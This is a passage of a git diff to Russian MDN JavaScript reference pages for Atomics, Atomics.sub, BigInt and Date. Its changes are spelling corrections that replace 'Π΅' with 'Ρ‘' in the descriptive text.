+<p>Когда ΠΏΠ°ΠΌΡΡ‚ΡŒ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π°, нСсколько ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ² ΠΌΠΎΠ³ΡƒΡ‚ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ ΠΈ Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ ΠΎΠ΄Π½ΠΈ ΠΈ Ρ‚Π΅ ΠΆΠ΅ Π΄Π°Π½Π½Ρ‹Π΅ Π² ΠΏΠ°ΠΌΡΡ‚ΡŒ. АтомарныС ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΡŽΡ‚, Ρ‡Ρ‚ΠΎ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΡ‹Π΅ значСния Π±ΡƒΠ΄ΡƒΡ‚ записаны и ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Π½Ρ‹, Π° ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Ρ‹, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ опСрация начнёт свою Ρ€Π°Π±ΠΎΡ‚Ρƒ, ΠΈΒ ΠΎΠ½ΠΈ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€Π΅Ρ€Π²Π°Π½Ρ‹.</p>
<dl>
<dt>{{jsxref("Atomics.add()")}}</dt>
@@ -50,12 +50,12 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics
<h3 id="Wait_ΠΈ_notify">Wait ΠΈ notify</h3>
-<p><code>wait()</code> ΠΈ <code>wake()</code> ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΌΠΎΠ΄Π΅Π»ΠΈΡ€ΡƒΡŽΡ‚ΡΡ Π½Π° основС futexes ("fast user-space mutex" - быстрый ΠΌΡŒΡŽΡ‚Π΅ΠΊΡ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ пространства) Linux ΠΈ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ собой способы оТидания ΠΌΠΎΠΌΠ΅Π½Ρ‚Π°, ΠΊΠΎΠ³Π΄Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ состояниС Π½Π΅ станСт true, ΠΈΒ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΊΠ°ΠΊ Π±Π»ΠΎΠΊΠΈΡ€ΡƒΡŽΡ‰ΠΈΠ΅ конструкции.</p>
+<p><code>wait()</code> ΠΈ <code>wake()</code> ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΌΠΎΠ΄Π΅Π»ΠΈΡ€ΡƒΡŽΡ‚ΡΡ Π½Π° основС futexes ("fast user-space mutex" - быстрый ΠΌΡŒΡŽΡ‚Π΅ΠΊΡ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ пространства) Linux ΠΈ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ собой способы оТидания ΠΌΠΎΠΌΠ΅Π½Ρ‚Π°, ΠΊΠΎΠ³Π΄Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ состояниС Π½Π΅ станСт true, ΠΈΒ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΊΠ°ΠΊ Π±Π»ΠΎΠΊΠΈΡ€ΡƒΡŽΡ‰ΠΈΠ΅ конструкции.</p>
<dl>
<dt>{{jsxref("Atomics.wait()")}}</dt>
<dd>
- <p>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡΠ΅Ρ‚, содСрТится Π² ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ массива всС Π΅Ρ‰Π΅ прСдставлСнноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈ спит Π² ΠΎΠΆΠΈΠ΄Π°Π½ΠΈΠΈ ΠΈΠ»ΠΈΒ Ρ‚Π°ΠΉΠΌ-Π°ΡƒΡ‚. Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <code>"ok"</code>, <code>"not-equal" </code>ΠΈΠ»ΠΈΒ <code>"timed-out"</code>. Если ΠΎΠΆΠΈΠ΄Π°Π½ΠΈΠ΅ Π½Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ Π² Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΌ Π°Π³Π΅Π½Ρ‚Π΅, тогда выбросит ΠΎΡˆΠΈΠ±ΠΊΡƒ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡΒ (Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π½Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ°ΡŽΡ‚Β <code>wait()</code>Β Π² Π³Π»Π°Π²Π½ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°).</p>
+ <p>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡΠ΅Ρ‚, содСрТится Π² ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ массива всС Π΅Ρ‰Ρ‘ прСдставлСнноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈ спит Π² ΠΎΠΆΠΈΠ΄Π°Π½ΠΈΠΈ ΠΈΠ»ΠΈΒ Ρ‚Π°ΠΉΠΌ-Π°ΡƒΡ‚. Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <code>"ok"</code>, <code>"not-equal" </code>ΠΈΠ»ΠΈΒ <code>"timed-out"</code>. Если ΠΎΠΆΠΈΠ΄Π°Π½ΠΈΠ΅ Π½Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ Π² Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΌ Π°Π³Π΅Π½Ρ‚Π΅, тогда выбросит ΠΎΡˆΠΈΠ±ΠΊΡƒ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡΒ (Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π½Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ°ΡŽΡ‚Β <code>wait()</code>Β Π² Π³Π»Π°Π²Π½ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°).</p>
</dd>
<dt>{{jsxref("Atomics.wake()")}}</dt>
<dd>ΠŸΡ€ΠΎΠ±ΡƒΠΆΠ΄Π°Π΅Ρ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π°Π³Π΅Π½Ρ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ спят Π² ΠΎΡ‡Π΅Ρ€Π΅Π΄ΠΈ оТидания в ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ массива. Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ количСство Π°Π³Π΅Π½Ρ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ‹Π»ΠΈ Ρ€Π°Π·Π±ΡƒΠΆΠ΅Π½Ρ‹.</dd>
@@ -145,7 +145,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics
<h2 id="ΠŸΠΎΡ…ΠΎΠΆΠΈΠ΅_Π·Π°ΠΌΠ΅Ρ‚ΠΊΠΈ">ΠŸΠΎΡ…ΠΎΠΆΠΈΠ΅ Π·Π°ΠΌΠ΅Ρ‚ΠΊΠΈ</h2>
-<p>Π”ΠΎ SpiderMonkey 48 {{geckoRelease(48)}}, Ρ„ΠΈΠ½Π°Π»ΡŒΠ½Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π° API ΠΈ сСмантика нС Π±Ρ‹Π»ΠΈ Π΅Ρ‰Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Ρ‹. ИзмСнСния ΠΌΠ΅ΠΆΠ΄ΡƒΒ Firefox v.Β 46 ΠΈ v. 48:</p>
+<p>Π”ΠΎ SpiderMonkey 48 {{geckoRelease(48)}}, Ρ„ΠΈΠ½Π°Π»ΡŒΠ½Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π° API ΠΈ сСмантика нС Π±Ρ‹Π»ΠΈ Π΅Ρ‰Ρ‘ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Ρ‹. ИзмСнСния ΠΌΠ΅ΠΆΠ΄ΡƒΒ Firefox v.Β 46 ΠΈ v. 48:</p>
<ul>
<li>ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹Β <code>Atomics.futexWakeOrRequeue()</code> ΠΈ <code>Atomics.fence()</code> ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΡƒΠ΄Π°Π»Π΅Π½Ρ‹ ({{bug(1259544)}} ΠΈ {{bug(1225028)}}).</li>
diff --git a/files/ru/web/javascript/reference/global_objects/atomics/sub/index.html b/files/ru/web/javascript/reference/global_objects/atomics/sub/index.html
index d3a9bbd3b4..05a2727be0 100644
--- a/files/ru/web/javascript/reference/global_objects/atomics/sub/index.html
+++ b/files/ru/web/javascript/reference/global_objects/atomics/sub/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/sub
---
<div>{{JSRef}}</div>
-<p>БтатичСский ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code><strong>Atomics</strong></code><strong><code>.sub()</code></strong> Π²Ρ‹Ρ‡ΠΈΡ‚Π°Π΅Ρ‚ прСдставлСнноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ· Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ ΠΏΠΎ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Π² массивС и Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² этой ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ. Π­Ρ‚Π° атомарная опСрация Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ Π½ΠΈΠΊΠ°ΠΊΠΎΠΉ Π΄Ρ€ΡƒΠ³ΠΎΠΉ записи Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚, ΠΏΠΎΠΊΠ° ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ записано ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ.</p>
+<p>БтатичСский ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code><strong>Atomics</strong></code><strong><code>.sub()</code></strong> Π²Ρ‹Ρ‡ΠΈΡ‚Π°Π΅Ρ‚ прСдставлСнноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ· Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ ΠΏΠΎ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Π² массивС и Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² этой ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ. Π­Ρ‚Π° атомарная опСрация Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ Π½ΠΈΠΊΠ°ΠΊΠΎΠΉ Π΄Ρ€ΡƒΠ³ΠΎΠΉ записи Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚, ΠΏΠΎΠΊΠ° ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ записано ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
@@ -16,7 +16,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/sub
<dl>
<dt><code>typedArray</code></dt>
- <dd>Π Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ массив Ρ†Π΅Π»Ρ‹Ρ… чисСл.Β {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}}Β ΠΈΠ»ΠΈΒ {{jsxref("Uint32Array")}}.</dd>
+ <dd>Π Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ массив Ρ†Π΅Π»Ρ‹Ρ… чисСл.Β {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}}Β ΠΈΠ»ΠΈΒ {{jsxref("Uint32Array")}}.</dd>
<dt><code>index</code></dt>
<dd>ΠŸΠΎΠ·ΠΈΡ†ΠΈΡ Π²Β <code>typedArray</code> для добавлСния <code>value</code>.</dd>
<dt><code>value</code></dt>
diff --git a/files/ru/web/javascript/reference/global_objects/bigint/index.html b/files/ru/web/javascript/reference/global_objects/bigint/index.html
index c8e43137bf..108df340f7 100644
--- a/files/ru/web/javascript/reference/global_objects/bigint/index.html
+++ b/files/ru/web/javascript/reference/global_objects/bigint/index.html
@@ -10,14 +10,14 @@ translation_of: Web/JavaScript/Reference/Global_Objects/BigInt
---
<p>{{JSRef}}</p>
-<p><strong><code>BigInt</code></strong> это встроСнный ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдоставляСт способ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ Ρ†Π΅Π»Ρ‹Π΅ числа большС 2<sup>53</sup> - 1, Π½Π°ΠΈΠ±ΠΎΠ»ΡŒΡˆΠ΅Π³ΠΎΒ Ρ‡ΠΈΡΠ»Π°, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ JavaScript ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π°Π΄Π΅ΠΆΠ½ΠΎ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ с {{JSxRef("Number")}} ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²ΠΎΠΌ. Π­Ρ‚ΠΎ максимальноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ, ΠΎΠ±Ρ€Π°Ρ‚ΠΈΠ²ΡˆΠΈΡΡŒ ΠΊ {{JSxRef("Number.MAX_SAFE_INTEGER")}}.</p>
+<p><strong><code>BigInt</code></strong> это встроСнный ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдоставляСт способ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ Ρ†Π΅Π»Ρ‹Π΅ числа большС 2<sup>53</sup> - 1, Π½Π°ΠΈΠ±ΠΎΠ»ΡŒΡˆΠ΅Π³ΠΎΒ Ρ‡ΠΈΡΠ»Π°, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ JavaScript ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π°Π΄Ρ‘ΠΆΠ½ΠΎ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ с {{JSxRef("Number")}} ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²ΠΎΠΌ. Π­Ρ‚ΠΎ максимальноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ, ΠΎΠ±Ρ€Π°Ρ‚ΠΈΠ²ΡˆΠΈΡΡŒ ΠΊ {{JSxRef("Number.MAX_SAFE_INTEGER")}}.</p>
<dl>
</dl>
<h2 id="ОписаниС">ОписаниС</h2>
-<p><code>BigInt</code> создаСтся ΠΏΡƒΡ‚Π΅ΠΌ добавлСния <code>n</code> Π² ΠΊΠΎΠ½Π΅Ρ† цСлочислСнного Π»ΠΈΡ‚Π΅Ρ€Π°Π»Π° β€” <code>10n</code> β€” ΠΈΠ»ΠΈ Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>BigInt()</code>.</p>
+<p><code>BigInt</code> создаётся ΠΏΡƒΡ‚Ρ‘ΠΌ добавлСния <code>n</code> Π² ΠΊΠΎΠ½Π΅Ρ† цСлочислСнного Π»ΠΈΡ‚Π΅Ρ€Π°Π»Π° β€” <code>10n</code> β€” ΠΈΠ»ΠΈ Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>BigInt()</code>.</p>
<pre class="brush: js">const theBiggestInt = 9007199254740991n;
@@ -44,7 +44,7 @@ const hugeBin = BigInt("0b11111111111111111111111111111111111111111111111111111"
<h3 id="Π’ΠΈΠΏ">Π’ΠΈΠΏ</h3>
-<p>ΠŸΡ€ΠΈ провСркС с использованиСм ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°Β <code>typeof</code>, <code>BigInt</code>Β Π²Ρ‹Π΄Π°Π΅Ρ‚ Ρ‚ΠΈΠΏΒ <code>"bigint"</code>:</p>
+<p>ΠŸΡ€ΠΈ провСркС с использованиСм ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°Β <code>typeof</code>, <code>BigInt</code>Β Π²Ρ‹Π΄Π°Ρ‘Ρ‚ Ρ‚ΠΈΠΏΒ <code>"bigint"</code>:</p>
<pre class="brush: js">typeof 1n === 'bigint'; // true
typeof BigInt('1') === 'bigint'; // true
@@ -57,7 +57,7 @@ typeof BigInt('1') === 'bigint'; // true
<h3 id="ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹">ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹</h3>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ с <code>BigInt</code>Β (ΠΈΠ»ΠΈΒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ-ΠΎΠ±Π΅Ρ€Ρ‚ΠΊΠΎΠΉ <code>BigInt</code>): <code>+</code>, <code>*</code>, <code>-</code>, <code>**</code>, <code>%</code>.</p>
+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ с <code>BigInt</code>Β (ΠΈΠ»ΠΈΒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ-ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠΎΠΉ <code>BigInt</code>): <code>+</code>, <code>*</code>, <code>-</code>, <code>**</code>, <code>%</code>.</p>
<p><a href="/ru/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">ΠŸΠΎΠ±ΠΈΡ‚ΠΎΠ²Ρ‹Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ</a> Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ, ΠΊΡ€ΠΎΠΌΠ΅ <code>&gt;&gt;&gt;</code> (сдвиг Π²ΠΏΡ€Π°Π²ΠΎ с Π·Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ΠΌ нулями).</p>
@@ -91,7 +91,7 @@ bigN * -1n
<p>ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Β <code>/</code> Ρ‚Π°ΠΊΠΆΠ΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, ΠΊΠ°ΠΊ ΠΈ оТидалось, с Ρ†Π΅Π»Ρ‹ΠΌΠΈ числами. Однако, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ это BigInt, эта опСрация Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΊΡ€ΡƒΠ³Π»ΡΡ‚ΡŒΡΡ Π² ΠΌΠ΅Π½ΡŒΡˆΡƒΡŽ сторону, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ ΠΎΠ½Π° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ Π΄Ρ€ΠΎΠ±Π½Ρ‹Π΅ Ρ†ΠΈΡ„Ρ€Ρ‹.</p>
<div class="blockIndicator warning">
-<p>Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ опСрации с Π΄Ρ€ΠΎΠ±Π½Ρ‹ΠΌ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΊΡ€ΡƒΠ³Π»Π΅Π½ Π² <strong><u>ΠΌΠ΅Π½ΡŒΡˆΡƒΡŽ</u></strong> сторону при использовании Β <code>BigInt</code>.</p>
+<p>Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ опСрации с Π΄Ρ€ΠΎΠ±Π½Ρ‹ΠΌ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΊΡ€ΡƒΠ³Π»Ρ‘Π½ Π² <strong><u>ΠΌΠ΅Π½ΡŒΡˆΡƒΡŽ</u></strong> сторону при использовании Β <code>BigInt</code>.</p>
</div>
<pre class="brush: js">const expected = 4n / 2n;
@@ -138,7 +138,7 @@ mixed.sort();
// β†ͺ [-12n, 0, 0n, 10, 4n, 4, 6]
</pre>
-<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ сравнСния с <code>ΠΎΠ±ΡŒΠ΅ΠΊΡ‚ΠΎΠΌ</code>-ΠΎΠ±Π΅Ρ€Ρ‚ΠΊΠΎΠΉ <code>BigInt</code>Β Π΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‚ ΠΊΠ°ΠΊ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ, указывая Π½Π° равСнство Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊΠΎΠ³Π΄Π° сравниваСтся ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ‡Π½Ρ‹ΠΉ экзСмпляр ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°:</p>
+<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ сравнСния с <code>ΠΎΠ±ΡŒΠ΅ΠΊΡ‚ΠΎΠΌ</code>-ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠΎΠΉ <code>BigInt</code>Β Π΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‚ ΠΊΠ°ΠΊ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ, указывая Π½Π° равСнство Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊΠΎΠ³Π΄Π° сравниваСтся ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ‡Π½Ρ‹ΠΉ экзСмпляр ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°:</p>
<pre class="brush: js">0n === Object(0n); // false
Object(0n) === Object(0n); // false
@@ -236,7 +236,7 @@ Boolean(12n)
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
-<h3 id="РасчСт_простых_чисСл">РасчСт простых чисСл</h3>
+<h3 id="Расчёт_простых_чисСл">Расчёт простых чисСл</h3>
<pre class="brush: js">// Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ true, Ссли BigInt β€” простоС число
function isPrime(p) {
diff --git a/files/ru/web/javascript/reference/global_objects/date/index.html b/files/ru/web/javascript/reference/global_objects/date/index.html
index a6ce5896e1..4eb5876bd2 100644
--- a/files/ru/web/javascript/reference/global_objects/date/index.html
+++ b/files/ru/web/javascript/reference/global_objects/date/index.html
@@ -181,7 +181,7 @@ yourFunctionReturn = printElapsedTime(yourFunction);
<pre class="notranslate"><code>var seconds = Math.floor(Date.now() / 1000);</code></pre>
-<p>Π’ этом случаС Π²Π°ΠΆΠ½ΠΎ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ†Π΅Π»ΠΎΠ΅ число (Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ простоС Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Π½Π΅ ΠΏΠΎΠ΄ΠΎΠΉΠ΄Π΅Ρ‚), Π° Ρ‚Π°ΠΊΠΆΠ΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ фактичСски ΠΏΡ€ΠΎΡˆΠ΅Π΄ΡˆΠΈΠ΅ сСкунды (поэтому этот ΠΊΠΎΠ΄ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ {{jsxref ("Math.floor ()")}} Π°Β Π½Π΅ {{jsxref ("Math.round ()")}}).</p>
+<p>Π’ этом случаС Π²Π°ΠΆΠ½ΠΎ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ†Π΅Π»ΠΎΠ΅ число (Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ простоС Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Π½Π΅ ΠΏΠΎΠ΄ΠΎΠΉΠ΄Ρ‘Ρ‚), Π° Ρ‚Π°ΠΊΠΆΠ΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ фактичСски ΠΏΡ€ΠΎΡˆΠ΅Π΄ΡˆΠΈΠ΅ сСкунды (поэтому этот ΠΊΠΎΠ΄ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ {{jsxref ("Math.floor ()")}} Π°Β Π½Π΅ {{jsxref ("Math.round ()")}}).</p>
